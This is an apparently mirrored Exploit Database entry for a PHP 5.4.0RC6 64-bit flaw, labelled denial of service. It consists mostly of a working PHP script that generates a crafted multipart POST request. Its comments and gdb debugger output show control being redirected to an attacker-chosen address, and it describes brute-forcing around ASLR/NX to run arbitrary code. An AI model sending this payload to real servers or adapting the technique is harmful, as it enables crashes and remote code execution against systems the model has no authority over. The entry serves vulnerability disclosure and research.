PHP 5.4.0RC6 (x64) – Denial of Service

Exploit Database
111 阅读

作者： Stefan Esser

日期： 2012-02-04
类别：
- dos
平台：
- php
来源：https://www.exploit-db.com/exploits/18460/

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<?php

/* This script generates a POST header that makes PHP 5.4.0RC6 *64 bit* try to execute code at 0x1111111111111111

PHP 5.3.9 requires you to know the address of a writable address filled with NULL.

32bit requires you to create a fake 32bit Hashtable instead of a 64bit one

Because this vulnerability also allows leaking memory addresses ASLR can be "semi"-defeated. This means around 4000

tries = 4000 requests = 4000 crashes are enough to bruteforce code addresses to execute arbitrary code despite ASLR/NX

better exploit might be possible after deeper research + heap massage

This specific attack only works if there is no Suhosin-Patch -> RHEL, CentOS

(gdb) c

Continuing.

Program received signal SIGSEGV, Segmentation fault.

0x00007fd959ca5f9d in _zend_hash_index_update_or_next_insert (ht=0x7fd96480d508, h=0, pData=0x7fff75c47bd0, nDataSize=8, pDest=0x7fff75c47bc8, flag=1,

__zend_filename=0x7fd95a061b68 "/home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.h", __zend_lineno=350)

at /home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.c:398

398 ht->pDestructor(p->pData);

(gdb) i r

rax0x7fd9583352a0 140571464389280

rbx0x0 0

rcx0x8 8

rdx0x111111111111111 76861433640456465

rsi0x7fd95a077b08 140571495070472

rdi0x7fd9583352a0 140571464389280

rbp0x7fff75c47ae0 0x7fff75c47ae0

rsp0x7fff75c47a80 0x7fff75c47a80

r8 0x7fff75c47bc8 140735169199048

r9 0x1 1

r100x6238396661373430 7077469926293189680

r110x7fd962f4c8e0 140571644840160

r120x7fd966b91da8 140571708038568

r130x0 0

r140xffffffff00000001 -4294967295

r150x7fd964b10538 140571673953592

rip0x7fd959ca5f9d 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>

eflags 0x10206 [ PF IF RF ]

cs 0x33 51

ss 0x2b 43

ds 0x0 0

es 0x0 0

fs 0x0 0

gs 0x0 0

(gdb) x/5i $rip

=> 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>: callq*%rdx

0x7fd959ca5f9f <_zend_hash_index_update_or_next_insert+479>: cmpl $0x8,-0x3c(%rbp)

0x7fd959ca5fa3 <_zend_hash_index_update_or_next_insert+483>: jne0x7fd959ca6031 <_zend_hash_index_update_or_next_insert+625>

0x7fd959ca5fa9 <_zend_hash_index_update_or_next_insert+489>: mov-0x18(%rbp),%rax

0x7fd959ca5fad <_zend_hash_index_update_or_next_insert+493>: mov0x10(%rax),%rax

(gdb)

$boundary = md5(microtime());

$varname = "xxx";

$payload = "";

$payload .= "--$boundary\n";

$payload .= 'Content-Disposition: form-data; name="'.$varname.'"'."\n\n";

$payload .= chr(16);

for ($i=1; $i<7*8; $i++) {

$payload .= chr(0);

}

for ($i=1; $i<8; $i++) {

$payload .= "\x11";

}

$payload .= chr(1);

for ($i=16+48+1; $i<128; $i++) {

$payload .= chr(0);

}

$payload .= "\n";

for ($i=0; $i<1000; $i++) {

$payload .= "--$boundary\n";

$payload .= 'Content-Disposition: form-data; name="aaa'.$i.'"'."\n\n";

$payload .= "aaa\n";

}

$payload .= "--$boundary\n";

$payload .= 'Content-Disposition: form-data; name="'.$varname.'[]"'."\n\n";

$payload .= "aaa\n";

$payload .= "--$boundary\n";

$payload .= 'Content-Disposition: form-data; name="'.$varname.'[0]"'."\n\n";

$payload .= "aaa\n";

$payload .= "--$boundary--\n";

echo "POST /index.php HTTP/1.0\n";

echo "Content-Type: multipart/form-data; boundary=$boundary\n";

echo "Content-Length: ",strlen($payload),"\n";

echo "\n";

echo "$payload";